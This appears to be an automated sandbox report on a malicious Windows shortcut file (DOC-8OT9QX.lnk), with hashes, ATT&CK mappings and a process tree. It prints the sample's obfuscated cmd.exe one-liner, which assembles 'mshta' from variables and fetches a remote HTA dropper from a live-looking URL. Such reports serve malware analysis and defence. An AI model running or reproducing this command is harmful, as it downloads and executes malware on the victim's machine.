889898db36117f42ac7b36e2435c5297acc83bcbf7acb1a908d0af6365bd2569

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:19

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General

Target
DOC-8OT9QX.lnk
Size 1KB
Sample260804-j74d3avdng
SHA256 889898db36117f42ac7b36e2435c5297acc83bcbf7acb1a908d0af6365bd2569
MD5 399c7ef2d2944e698803840ab913a28f
SHA1 39d053bd94b906724da878fb011c881b306c5db7
SHA512 a35b8d766f7cccb88b4208ff5e6342ac2ea112aecbb74571e5a5e5c1efb7710de02b5d773ccc640a9f10f72e5b31c13e40690df868bfee79918fc40b189d87d8
TLSH
T1AA3164103EFD0624F3B3AE7284BB5B1489BFB8568D10C61D4140864C5032A01EABAF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1004	cmd.exe
200	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1004 wrote to memory of 200	1004	cmd.exe	91
PID 200 wrote to memory of 4300	200	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-8OT9QX.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1004
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set OYYpc=msh&&set sCU=ta&&start "" !OYYpc!!sCU! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:200
- - C:\Windows\System32\mshta.exe
    mshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:4300

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads